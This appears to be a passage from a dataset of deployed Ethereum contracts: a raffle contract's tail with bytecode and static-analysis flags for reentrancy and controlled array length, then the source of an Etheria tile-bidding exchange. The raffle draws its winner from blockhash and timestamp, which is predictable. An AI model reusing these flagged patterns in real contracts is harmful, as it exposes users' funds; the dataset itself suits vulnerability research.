block.timestamp); //close it if need to test require(!raffleWinningTicketSelected); uint256 seed = SafeMath.add(raffleTicketsBought , block.timestamp); raffleTicketThatWon = addmod(uint256(block.blockhash(block.number-1)), seed, raffleTicketsBought); raffleWinningTicketSelected = true; } // To allow clients to verify contestants function getRafflePlayers(uint256 raffleId) external constant returns (address[]) { return (rafflePlayers[raffleId]); } // To allow clients to verify contestants function getPlayersTickets(address player) external constant returns (uint256[], uint256[]) { TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player]; if (playersTickets.raffleRareId == raffleRareId) { uint256[] memory startIds = new uint256[](playersTickets.numPurchases); uint256[] memory endIds = new uint256[](playersTickets.numPurchases); for (uint256 i = 0; i < playersTickets.numPurchases; i++) { startIds[i] = playersTickets.ticketsBought[i].startId; endIds[i] = playersTickets.ticketsBought[i].endId; } } return (startIds, endIds); } // To display on website function getLatestRaffleInfo() external constant returns (uint256, uint256, uint256, address, uint256) { return (raffleEndTime, raffleRareId, raffleTicketsBought, raffleWinner, raffleTicketThatWon); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6060604052600436106100cc5763ffffffff60e060020a6000350416630865dadc81146100d15780632210d525146100f75780632693c15014610126578063431dbd9e146101de57806349c9dcf51461022b57806358a4903f1461024d5780636bb7b7a4146102605780636cdb1b75146102735780636fb642de1461029257806376f2ccb9146102b6578063789a12fd146102d55780638da5cb5b1461033e578063b9de1c4114610351578063c2de290914610367578063da7d57f91461037a578063f2fde38b14610393575b600080fd5b34156100dc57600080fd5b6100f5600160a060020a036004351660243515156103b2565b005b341561010257600080fd5b61010a61040d565b604051600160a060020a03909116815260200160405180910390f35b341561013157600080fd5b610145600160a060020a036004351661041d565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015610189578082015183820152602001610171565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156101c85780820151838201526020016101b0565b5050505090500194505050505060405180910390f35b34156101e957600080fd5b6101f1610543565b6040519485526020850193909352604080850192909252600160a060020a03166060840152608083019190915260a0909101905180910390f35b341561023657600080fd5b6100f5600160a060020a0360043516602435610563565b341561025857600080fd5b61010a610829565b341561026b57600080fd5b61010a610838565b341561027e57600080fd5b6100f5600160a060020a0360043516610847565b341561029d57600080fd5b6100f5600160a060020a03600435166024351515610891565b34156102c157600080fd5b6100f5600160a060020a03600435166108e3565b34156102e057600080fd5b6102eb60043561092d565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561032a578082015183820152602001610312565b505050509050019250505060405180910390f35b341561034957600080fd5b61010a6109a8565b341561035c57600080fd5b6100f56004356109b7565b341561037257600080fd5b6100f5610c3b565b341561038557600080fd5b6100f5600435602435610cf6565b341561039e57600080fd5b6100f5600160a060020a0360043516610e0c565b60005433600160a060020a039081169116146103cd57600080fd5b600160a060020a03821615156103e257600080fd5b600160a060020a03919091166000908152600160205260409020805460ff1916911515919091179055565b600454600160a060020a03165b90565b6104256111ff565b61042d6111ff565b60006104376111ff565b61043f6111ff565b600160a060020a03861660009081526005602052604081206008546002820154919550141561053757836001015460405180591061047a5750595b90808252806020026020018201604052509250836001015460405180591061049f5750595b90808252806020026020018201604052509150600090505b83600101548110156105375783548490829081106104d157fe5b9060005260206000209060020201600001548382815181106104ef57fe5b60209081029091010152835484908290811061050757fe5b90600052602060002090600202016001015482828151811061052557fe5b602090810290910101526001016104b7565b50909590945092505050565b600754600854600954600a54600b54600160a060020a0390911691929394565b6000806000806000806000804260075410151561057f57600080fd5b600a54600160a060020a03161561059557600080fd5b61059d61040d565b600454600854600160a060020a0392831692909116906372eefb8a9060405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156105ef57600080fd5b5af115156105fc57600080fd5b50505060405180519050600160a060020a031614151561061b57600080fd5b600a5474010000000000000000000000000000000000000000900460ff16151561064757610647610c3b565b600160a060020a038a16156106e957600160a060020a038a16600090815260056020526040812060018101549099501180156106865750876001015489105b801561069757506008548860020154145b156106e957875488908a9081106106aa57fe5b906000526020600020906002020196508660000154600b54101580156106d657508660010154600b5411155b156106e9576106e48a610ea7565b61081d565b600095505b60085460009081526006602052604090205486101561081d57600854600090815260066020526040902080548790811061072457fe5b6000918252602080832090910154600160a060020a031680835260059091526040822060018101548154929850909650600019019450859190811061076557fe5b906000526020600020906002020160000154600b54101580156107a95750835484908490811061079157fe5b906000526020600020906002020160010154600b5411155b1561081257600091505b83600101548210156108125783548490839081106107cd57fe5b906000526020600020906002020190508060000154600b54101580156107f957508060010154600b5411155b15610807576106e485610ea7565b6001909101906107b3565b6001909501946106ee565b50505050505050505050565b600354600160a060020a031681565b600454600160a060020a031681565b60005433600160a060020a0390811691161461086257600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03331660009081526001602052604090205460ff1615156108b857600080fd5b600160a060020a03919091166000908152600260205260409020805460ff1916911515919091179055565b60005433600160a060020a039081169116146108fe57600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6109356111ff565b6006600083815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561099c57602002820191906000526020600020905b8154600160a060020a0316815260019091019060200180831161097e575b50505050509050919050565b600054600160a060020a031681565b60008042600754101515156109cb57600080fd5b600083116109d857600080fd5b6109e4612710846111ba565b6003549092508290600160a060020a03166370a082313360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610a3957600080fd5b5af11515610a4657600080fd5b5050506040518051905010151515610a5d57600080fd5b600354600160a060020a031663a1c90a11338460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515610ab357600080fd5b5af11515610ac057600080fd5b505050600160a060020a0333166000908152600560205260409020600854600282015491925014610b4e576000600180830182905560085460028401819055825260066020526040909120805490918101610b1b8382611211565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161790555b805460018201541415610b74578054610b689060016111f0565b610b72828261123a565b505b60408051908101604052600954808252840160001901602082015260018281018054918201905582548391908110610ba857fe5b90600052602060002090600202016000820151815560208201518160010155905050610bd6600954846111f0565b6009556008547fb6d35f558a34938047f09ebf800fa2e15ec407c357a8eab97a5dd67b4d015b5b903390856040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a1505050565b600160a060020a03331660009081526001602052604081205460ff161515610c6257600080fd5b600754429010610c7157600080fd5b600a5474010000000000000000000000000000000000000000900460ff1615610c9957600080fd5b610ca5600954426111f0565b9050600954801515610cb357fe5b8160001943014008600b5550600a805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600160a060020a03331660009081526001602052604090205460ff161515610d1d57600080fd5b60008111610d2a57600080fd5b610d3261040d565b600454600160a060020a0391821691166372eefb8a8360405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610d7e57600080fd5b5af11515610d8b57600080fd5b50505060405180519050600160a060020a0316141515610daa57600080fd5b42829010610db757600080fd5b60085415610dd657600a54600160a060020a03161515610dd657600080fd5b600a80546000600b81905574ffffffffffffffffffffffffffffffffffffffffff19909116909155600955600791909155600855565b60005433600160a060020a03908116911614610e2757600080fd5b600160a060020a0381161515610e3c57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600a805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116919091179091556004546000918291829182916014911663b4d0e5526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610f1757600080fd5b5af11515610f2457600080fd5b50505060405180519050601902811515610f3a57fe5b600454600854929091049550600160a060020a03169063da3678df908760405160e060020a63ffffffff85160281526004810192909252600160a060020a03166024820152604401600060405180830381600087803b1515610f9b57600080fd5b5af11515610fa857600080fd5b5050600454600854600160a060020a0390911691506373a55389908660405160e060020a63ffffffff851602815260048101929092526024820152604401600060405180830381600087803b1515610fff57600080fd5b5af1151561100c57600080fd5b5050600354600160a060020a0316905063e3cbe7448660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561106057600080fd5b5af1151561106d57600080fd5b5050600454600854600160a060020a03909116915063275babee9060405160e060020a63ffffffff8416028152600481019190915260240160c060405180830381600087803b15156110be57600080fd5b5af115156110cb57600080fd5b505050604051805190602001805190602001805190602001805190602001805190602001805160035493995091975090955050600160a060020a03169250635edc9bff915087905085858560405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260448301526064820152608401600060405180830381600087803b151561116657600080fd5b5af1151561117357600080fd5b5050507f7b646f14dfb470788710d7469f8c03ffce1aba2693e24050c5055c4cfa9baa5785604051600160a060020a03909116815260200160405180910390a15050505050565b6000808315156111cd57600091506111e9565b508282028284828115156111dd57fe5b04146111e557fe5b8091505b5092915050565b6000828201838110156111e557fe5b60206040519081016040526000815290565b81548183558181151161123557600083815260209020611235918101908301611266565b505050565b815481835581811511611235576002028160020283600052602060002091820191016112359190611284565b61041a91905b80821115611280576000815560010161126c565b5090565b61041a91905b80821115611280576000808255600182015560020161128a5600a165627a7a72305820bb99e956b79b66bf54f84b67871fce6b534acd5df592a1c790a80d703e9886f60029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
6,776
0x111b76dbbe885d05793de91254554f0a781d15db
/** *Submitted for verification at Etherscan.io on 2021-08-07 */ // SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; interface Etheria { function getOwner(uint8 col, uint8 row) external view returns(address); function setOwner(uint8 col, uint8 row, address newOwner) external; } interface MapElevationRetriever { function getElevation(uint8 col, uint8 row) external view returns (uint8); } contract EtheriaExchangeXL { address public owner; address public pendingOwner; string public name = "EtheriaExchangeXL"; Etheria public constant etheria = Etheria(address(0xB21f8684f23Dbb1008508B4DE91a0aaEDEbdB7E4)); MapElevationRetriever public constant mapElevationRetriever = MapElevationRetriever(address(0x68549D7Dbb7A956f955Ec1263F55494f05972A6b)); uint128 public minBid = uint128(1 ether); // setting this to 10 finney throws compilation error for some reason uint256 public feeRate = uint256(100); // in basis points (100 is 1%) uint256 public collectedFees; struct Bid { uint128 amount; uint8 minCol; // shortened all of these for readability uint8 maxCol; uint8 minRow; uint8 maxRow; uint8 minEle; uint8 maxEle; uint8 minWat; uint8 maxWat; uint64 biddersIndex; // renamed from bidderIndex because it's the Index of the bidders array } address[] public bidders; mapping (address => Bid) public bidOf; // renamed these three to be ultra-descriptive mapping (address => uint256) public pendingWithdrawalOf; mapping (uint16 => uint128) public askFor; event OwnershipTransferInitiated(address indexed owner, address indexed pendingOwner); // renamed some of these to conform to past tense verbs event OwnershipTransferAccepted(address indexed oldOwner, address indexed newOwner); event BidCreated(address indexed bidder, uint128 indexed amount, uint8 minCol, uint8 maxCol, uint8 minRow, uint8 maxRow, uint8 minEle, uint8 maxEle, uint8 minWat, uint8 maxWat); event BidAccepted(address indexed seller, address indexed bidder, uint16 indexed index, uint128 amount, uint8 minCol, uint8 maxCol, uint8 minRow, uint8 maxRow, uint8 minEle, uint8 maxEle, uint8 minWat, uint8 maxWat); event BidCancelled(address indexed bidder, uint128 indexed amount, uint8 minCol, uint8 maxCol, uint8 minRow, uint8 maxRow, uint8 minEle, uint8 maxEle, uint8 minWat, uint8 maxWat); event AskCreated(address indexed owner, uint256 indexed price, uint16 indexed index); event AskRemoved(address indexed owner, uint256 indexed price, uint16 indexed index); event WithdrawalProcessed(address indexed account, address indexed destination, uint256 indexed amount); constructor() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "EEXL: Not owner"); _; } function transferOwnership(address newOwner) external onlyOwner { pendingOwner = newOwner; emit OwnershipTransferInitiated(msg.sender, newOwner); } function acceptOwnership() external { require(msg.sender == pendingOwner, "EEXL: Not pending owner"); emit OwnershipTransferAccepted(owner, msg.sender); owner = msg.sender; pendingOwner = address(0); } function _safeTransferETH(address recipient, uint256 amount) internal { // Secure transfer of ETH that is much less likely to be broken by future gas-schedule EIPs (bool success, ) = recipient.call{ value: amount }(""); // syntax: (bool success, bytes memory data) = _addr.call{value: msg.value, gas: 5000}(encoded function and data) require(success, "EEXL: ETH transfer failed"); } function collectFees() external onlyOwner { uint256 amount = collectedFees; collectedFees = uint256(0); _safeTransferETH(msg.sender, amount); } function setFeeRate(uint256 newFeeRate) external onlyOwner { // Set the feeRate to newFeeRate, then validate it require((feeRate = newFeeRate) <= uint256(500), "EEXL: Invalid feeRate"); // feeRate will revert if req fails } function setMinBid(uint128 newMinBid) external onlyOwner { minBid = newMinBid; // doubly beneficial because I could effectively kill new bids with a huge minBid } // in the event of an exchange upgrade or unforseen problem function _getIndex(uint8 col, uint8 row) internal pure returns (uint16) { require(_isValidColOrRow(col) && _isValidColOrRow(row), "EEXL: Invalid col and/or row"); return (uint16(col) * uint16(33)) + uint16(row); } function _isValidColOrRow(uint8 value) internal pure returns (bool) { return (value >= uint8(0)) && (value <= uint8(32)); // while nobody should be checking, eg, getAsk when row/col=0/32, we do want to respond non-erroneously } function _isValidElevation(uint8 value) internal pure returns (bool) { return (value >= uint8(125)) && (value <= uint8(216)); } function _isWater(uint8 col, uint8 row) internal view returns (bool) { return mapElevationRetriever.getElevation(col, row) < uint8(125); } function _boolToUint8(bool value) internal pure returns (uint8) { return value ? uint8(1) : uint8(0); } function _getSurroundingWaterCount(uint8 col, uint8 row) internal view returns (uint8 waterTiles) { require((col >= uint8(1)) && (col <= uint8(31)), "EEXL: Water counting requres col 1-31"); require((row >= uint8(1)) && (row <= uint8(31)), "EEXL: Water counting requres col 1-31"); if (row % uint8(2) == uint8(1)) { waterTiles += _boolToUint8(_isWater(col + uint8(1), row + uint8(1))); // northeast_hex waterTiles += _boolToUint8(_isWater(col + uint8(1), row - uint8(1))); // southeast_hex } else { waterTiles += _boolToUint8(_isWater(col - uint8(1), row - uint8(1))); // southwest_hex waterTiles += _boolToUint8(_isWater(col - uint8(1), row + uint8(1))); // northwest_hex } waterTiles += _boolToUint8(_isWater(col, row - uint8(1))); // southwest_hex or southeast_hex waterTiles += _boolToUint8(_isWater(col, row + uint8(1))); // northwest_hex or northeast_hex waterTiles += _boolToUint8(_isWater(col + uint8(1), row)); // east_hex waterTiles += _boolToUint8(_isWater(col - uint8(1), row)); // west_hex } function getBidders() public view returns (address[] memory) { return bidders; } function getAsk(uint8 col, uint8 row) public view returns (uint128) { return askFor[_getIndex(col, row)]; } // we provide only the land tileIndices to minimize gas usage // should we have this function at all? // function getAsks(uint16[] calldata tileIndices) external view returns (uint128[] memory asks) { // uint256 length = tileIndices.length; // asks = new uint128[](length); // for (uint256 i; i < length; ++i) { // asks[i] = askAt(tileIndices[i]); // } // } function setAsk(uint8 col, uint8 row, uint128 price) external { require(price > 0, "EEXL: removeAsk instead"); require(etheria.getOwner(col, row) == msg.sender, "EEXL: Not tile owner"); uint16 thisIndex = _getIndex(col, row); emit AskCreated(msg.sender, askFor[thisIndex] = price, thisIndex); } function removeAsk(uint8 col, uint8 row) external { require(etheria.getOwner(col, row) == msg.sender, "EEXL: Not tile owner"); uint16 thisIndex = _getIndex(col, row); uint128 price = askFor[thisIndex]; askFor[thisIndex] = 0; emit AskRemoved(msg.sender, price, thisIndex); // price before it was zeroed } function makeBid(uint8 minCol, uint8 maxCol, uint8 minRow, uint8 maxRow, uint8 minEle, uint8 maxEle, uint8 minWat, uint8 maxWat) external payable { require(msg.sender == tx.origin, "EEXL: not EOA"); // (EOA = Externally owned account) // Etheria doesn't allow tile ownership by contracts, this check prevents black-holing require(msg.value <= type(uint128).max, "EEXL: value too high"); require(msg.value >= minBid, "EEXL: req bid amt >= minBid"); require(msg.value >= 0, "EEXL: req bid amt >= 0"); require(bidOf[msg.sender].amount == uint128(0), "EEXL: bid exists, cancel first"); require(_isValidColOrRow(minCol), "EEXL: minCol OOB"); require(_isValidColOrRow(maxCol), "EEXL: maxCol OOB"); require(minCol <= maxCol, "EEXL: req minCol <= maxCol"); require(_isValidColOrRow(minRow), "EEXL: minRow OOB"); require(_isValidColOrRow(maxRow), "EEXL: maxRow OOB"); require(minRow <= maxRow, "EEXL: req minRow <= maxRow"); require(_isValidElevation(minEle), "EEXL: minEle OOB"); // these ele checks prevent water bidding, regardless of row/col require(_isValidElevation(maxEle), "EEXL: maxEle OOB"); require(minEle <= maxEle, "EEXL: req minEle <= maxEle"); require(minWat <= uint8(6), "EEXL: minWat OOB"); require(maxWat <= uint8(6), "EEXL: maxWat OOB"); require(minWat <= maxWat, "EEXL: req minWat <= maxWat"); uint256 biddersArrayLength = bidders.length; require(biddersArrayLength < type(uint64).max, "EEXL: too many bids"); bidOf[msg.sender] = Bid({ amount: uint128(msg.value), minCol: minCol, maxCol: maxCol, minRow: minRow, maxRow: maxRow, minEle: minEle, maxEle: maxEle, minWat: minWat, maxWat: maxWat, biddersIndex: uint64(biddersArrayLength) }); bidders.push(msg.sender); emit BidCreated(msg.sender, uint128(msg.value), minCol, maxCol, minRow, maxRow, minEle, maxEle, minWat, maxWat); } function _deleteBid(address bidder, uint64 biddersIndex) internal { // used by cancelBid and acceptBid address lastBidder = bidders[bidders.length - uint256(1)]; // If bidder not last bidder, overwrite with last bidder if (bidder != lastBidder) { bidders[biddersIndex] = lastBidder; // Overwrite the bidder at the index with the last bidder bidOf[lastBidder].biddersIndex = biddersIndex; // Update the bidder index of the bid of the previously last bidder } delete bidOf[bidder]; bidders.pop(); } function cancelBid() external { // Cancels the bid, getting the bid's amount, which is then added account's pending withdrawal Bid storage bid = bidOf[msg.sender]; uint128 amount = bid.amount; require(amount != uint128(0), "EEXL: No existing bid"); emit BidCancelled(msg.sender, amount, bid.minCol, bid.maxCol, bid.minRow, bid.maxRow, bid.minEle, bid.maxEle, bid.minWat, bid.maxWat); _deleteBid(msg.sender, bid.biddersIndex); pendingWithdrawalOf[msg.sender] += uint256(amount); } function acceptBid(uint8 col, uint8 row, address bidder, uint256 minAmount) external { require(etheria.getOwner(col, row) == msg.sender, "EEXL: Not owner"); // etheria.setOwner will fail below if not owner, making this check unnecessary, but I want this here anyway Bid storage bid = bidOf[bidder]; uint128 amount = bid.amount; require( (amount >= minAmount) && (col >= bid.minCol) && (col <= bid.maxCol) && (row >= bid.minRow) && (row <= bid.maxRow) && (mapElevationRetriever.getElevation(col, row) >= bid.minEle) && (mapElevationRetriever.getElevation(col, row) <= bid.maxEle) && (_getSurroundingWaterCount(col, row) >= bid.minWat) && (_getSurroundingWaterCount(col, row) <= bid.maxWat), "EEXL: tile doesn't meet bid reqs" ); emit BidAccepted(msg.sender, bidder, _getIndex(col, row), amount, bid.minCol, bid.maxCol, bid.minRow, bid.maxRow, bid.minEle, bid.maxEle, bid.minWat, bid.maxWat); _deleteBid(bidder, bid.biddersIndex); etheria.setOwner(col, row, bidder); require(etheria.getOwner(col, row) == bidder, "EEXL: failed setting tile owner"); // ok for require after event emission. Events are technically state changes and atomic as well. uint256 fee = (uint256(amount) * feeRate) / uint256(10_000); collectedFees += fee; pendingWithdrawalOf[msg.sender] += (uint256(amount) - fee); delete askFor[_getIndex(col, row)]; // don't emit AskRemoved here. It's not really a removal } function _withdraw(address account, address payable destination) internal { uint256 amount = pendingWithdrawalOf[account]; require(amount > uint256(0), "EEXL: nothing pending"); pendingWithdrawalOf[account] = uint256(0); _safeTransferETH(destination, amount); emit WithdrawalProcessed(account, destination, amount); } function withdraw(address payable destination) external { _withdraw(msg.sender, destination); } function withdraw() external { _withdraw(msg.sender, payable(msg.sender)); } }
0x6080604052600436106101a15760003560e01c80638dc30b70116100e1578063c87965721161008a578063e30c397811610064578063e30c397814610652578063e392dccf1461067f578063f2fde38b14610692578063f6f0499c146106b257600080fd5b8063c8796572146105fb578063cb6632ef14610610578063cff29dfd1461063257600080fd5b80639435c887116100bb5780639435c887146105a8578063978bbdb9146105bd578063ae42672a146105d357600080fd5b80638dc30b70146103bc5780638fdc2c37146105725780639003adfe1461059257600080fd5b80633e109a191161014e57806351cff8d91161012857806351cff8d91461033a57806379ba50971461035a57806383bc11c01461036f5780638da5cb5b1461038f57600080fd5b80633e109a19146102d157806345596e2e146102fa5780634b6e29391461031a57600080fd5b806324d1f3d91161017f57806324d1f3d9146102595780632e520c5f1461029a5780633ccfd60b146102bc57600080fd5b806306fdde03146101a6578063194ad7bb146101d15780631d60ce8a1461020c575b600080fd5b3480156101b257600080fd5b506101bb6106f1565b6040516101c891906130e1565b60405180910390f35b3480156101dd57600080fd5b506101fe6101ec366004612e5e565b60086020526000908152604090205481565b6040519081526020016101c8565b34801561021857600080fd5b5061023473b21f8684f23dbb1008508b4de91a0aaedebdb7e481565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101c8565b34801561026557600080fd5b50610279610274366004612f0d565b61077f565b6040516fffffffffffffffffffffffffffffffff90911681526020016101c8565b3480156102a657600080fd5b506102ba6102b5366004612f0d565b6107bd565b005b3480156102c857600080fd5b506102ba610975565b3480156102dd57600080fd5b50600354610279906fffffffffffffffffffffffffffffffff1681565b34801561030657600080fd5b506102ba610315366004612ed7565b610981565b34801561032657600080fd5b506102ba610335366004612f97565b610a76565b34801561034657600080fd5b506102ba610355366004612e5e565b610ca6565b34801561036657600080fd5b506102ba610cb0565b34801561037b57600080fd5b506102ba61038a366004612e98565b610dae565b34801561039b57600080fd5b506000546102349073ffffffffffffffffffffffffffffffffffffffff1681565b3480156103c857600080fd5b506104fb6103d7366004612e5e565b6007602052600090815260409020546fffffffffffffffffffffffffffffffff81169060ff70010000000000000000000000000000000082048116917101000000000000000000000000000000000081048216917201000000000000000000000000000000000000820481169173010000000000000000000000000000000000000081048216917401000000000000000000000000000000000000000082048116917501000000000000000000000000000000000000000000810482169176010000000000000000000000000000000000000000000082048116917701000000000000000000000000000000000000000000000081049091169067ffffffffffffffff7801000000000000000000000000000000000000000000000000909104168a565b604080516fffffffffffffffffffffffffffffffff909b168b5260ff998a1660208c0152978916978a01979097529487166060890152928616608088015290851660a0870152841660c0860152831660e08501529190911661010083015267ffffffffffffffff16610120820152610140016101c8565b34801561057e57600080fd5b506102ba61058d366004612f46565b610e72565b34801561059e57600080fd5b506101fe60055481565b3480156105b457600080fd5b506102ba61174d565b3480156105c957600080fd5b506101fe60045481565b3480156105df57600080fd5b506102347368549d7dbb7a956f955ec1263f55494f05972a6b81565b34801561060757600080fd5b506102ba611981565b34801561061c57600080fd5b50610625611a15565b6040516101c89190613087565b34801561063e57600080fd5b5061023461064d366004612ed7565b611a84565b34801561065e57600080fd5b506001546102349073ffffffffffffffffffffffffffffffffffffffff1681565b6102ba61068d366004612fde565b611abb565b34801561069e57600080fd5b506102ba6106ad366004612e5e565b61259f565b3480156106be57600080fd5b506102796106cd366004612eb3565b6009602052600090815260409020546fffffffffffffffffffffffffffffffff1681565b600280546106fe9061326c565b80601f016020809104026020016040519081016040528092919081815260200182805461072a9061326c565b80156107775780601f1061074c57610100808354040283529160200191610777565b820191906000526020600020905b81548152906001019060200180831161075a57829003601f168201915b505050505081565b60006009600061078f8585612691565b61ffff1681526020810191909152604001600020546fffffffffffffffffffffffffffffffff169392505050565b6040517fe039e4a100000000000000000000000000000000000000000000000000000000815260ff808416600483015282166024820152339073b21f8684f23dbb1008508b4de91a0aaedebdb7e49063e039e4a19060440160206040518083038186803b15801561082d57600080fd5b505afa158015610841573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108659190612e7b565b73ffffffffffffffffffffffffffffffffffffffff16146108e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f4545584c3a204e6f742074696c65206f776e657200000000000000000000000060448201526064015b60405180910390fd5b60006108f38383612691565b61ffff811660008181526009602052604080822080547fffffffffffffffffffffffffffffffff00000000000000000000000000000000811690915590519394506fffffffffffffffffffffffffffffffff1692839133917f7754c70271d678ec24312362f4981a427a62682e90d1d3b7830348e9b82dc5959190a450505050565b61097f3333612737565b565b60005473ffffffffffffffffffffffffffffffffffffffff163314610a02576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f4545584c3a204e6f74206f776e6572000000000000000000000000000000000060448201526064016108de565b6101f48160048190551115610a73576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4545584c3a20496e76616c69642066656552617465000000000000000000000060448201526064016108de565b50565b6000816fffffffffffffffffffffffffffffffff1611610af2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4545584c3a2072656d6f766541736b20696e737465616400000000000000000060448201526064016108de565b6040517fe039e4a100000000000000000000000000000000000000000000000000000000815260ff808516600483015283166024820152339073b21f8684f23dbb1008508b4de91a0aaedebdb7e49063e039e4a19060440160206040518083038186803b158015610b6257600080fd5b505afa158015610b76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9a9190612e7b565b73ffffffffffffffffffffffffffffffffffffffff1614610c17576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f4545584c3a204e6f742074696c65206f776e657200000000000000000000000060448201526064016108de565b6000610c238484612691565b61ffff811660008181526009602052604080822080547fffffffffffffffffffffffffffffffff00000000000000000000000000000000166fffffffffffffffffffffffffffffffff88169081179091559051939450919233917f83b463210107054586f9f46f7414ff28d4a8a58a3870cfc43fa841600ddf0d2f91a450505050565b610a733382612737565b60015473ffffffffffffffffffffffffffffffffffffffff163314610d31576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f4545584c3a204e6f742070656e64696e67206f776e657200000000000000000060448201526064016108de565b60008054604051339273ffffffffffffffffffffffffffffffffffffffff909216917f69398fb338bc46e7da38943cd2da3021d7a38be07d6385dae286d2ec93d3b48591a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081163317909155600180549091169055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610e2f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f4545584c3a204e6f74206f776e6572000000000000000000000000000000000060448201526064016108de565b600380547fffffffffffffffffffffffffffffffff00000000000000000000000000000000166fffffffffffffffffffffffffffffffff92909216919091179055565b6040517fe039e4a100000000000000000000000000000000000000000000000000000000815260ff808616600483015284166024820152339073b21f8684f23dbb1008508b4de91a0aaedebdb7e49063e039e4a19060440160206040518083038186803b158015610ee257600080fd5b505afa158015610ef6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1a9190612e7b565b73ffffffffffffffffffffffffffffffffffffffff1614610f97576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f4545584c3a204e6f74206f776e6572000000000000000000000000000000000060448201526064016108de565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260076020526040902080546fffffffffffffffffffffffffffffffff16828110801590610ffc5750815460ff700100000000000000000000000000000000909104811690871610155b80156110255750815460ff71010000000000000000000000000000000000909104811690871611155b801561104f5750815460ff7201000000000000000000000000000000000000909104811690861610155b801561107a5750815460ff730100000000000000000000000000000000000000909104811690861611155b801561114d575081546040517f4166c1fd00000000000000000000000000000000000000000000000000000000815260ff8881166004830152878116602483015274010000000000000000000000000000000000000000909204909116907368549d7dbb7a956f955ec1263f55494f05972a6b90634166c1fd9060440160206040518083038186803b15801561110f57600080fd5b505afa158015611123573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111479190612ef0565b60ff1610155b8015611221575081546040517f4166c1fd00000000000000000000000000000000000000000000000000000000815260ff888116600483015287811660248301527501000000000000000000000000000000000000000000909204909116907368549d7dbb7a956f955ec1263f55494f05972a6b90634166c1fd9060440160206040518083038186803b1580156111e357600080fd5b505afa1580156111f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061121b9190612ef0565b60ff1611155b801561125757508154760100000000000000000000000000000000000000000000900460ff166112518787612854565b60ff1610155b801561128e5750815477010000000000000000000000000000000000000000000000900460ff166112888787612854565b60ff1611155b6112f4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4545584c3a2074696c6520646f65736e2774206d65657420626964207265717360448201526064016108de565b6112fe8686612691565b8254604080516fffffffffffffffffffffffffffffffff85168152700100000000000000000000000000000000830460ff90811660208301527101000000000000000000000000000000000084048116828401527201000000000000000000000000000000000000840481166060830152730100000000000000000000000000000000000000840481166080830152740100000000000000000000000000000000000000008404811660a083015275010000000000000000000000000000000000000000008404811660c08301527601000000000000000000000000000000000000000000008404811660e0830152770100000000000000000000000000000000000000000000009093049092166101008301525161ffff929092169173ffffffffffffffffffffffffffffffffffffffff87169133917f8d29a764eb42b778e5490f608b833f4550b26a4e49c044a079eb30aeff4d58f2918190036101200190a481546114939085907801000000000000000000000000000000000000000000000000900467ffffffffffffffff16612ac8565b6040517f7d5fec5a00000000000000000000000000000000000000000000000000000000815260ff80881660048301528616602482015273ffffffffffffffffffffffffffffffffffffffff8516604482015273b21f8684f23dbb1008508b4de91a0aaedebdb7e490637d5fec5a90606401600060405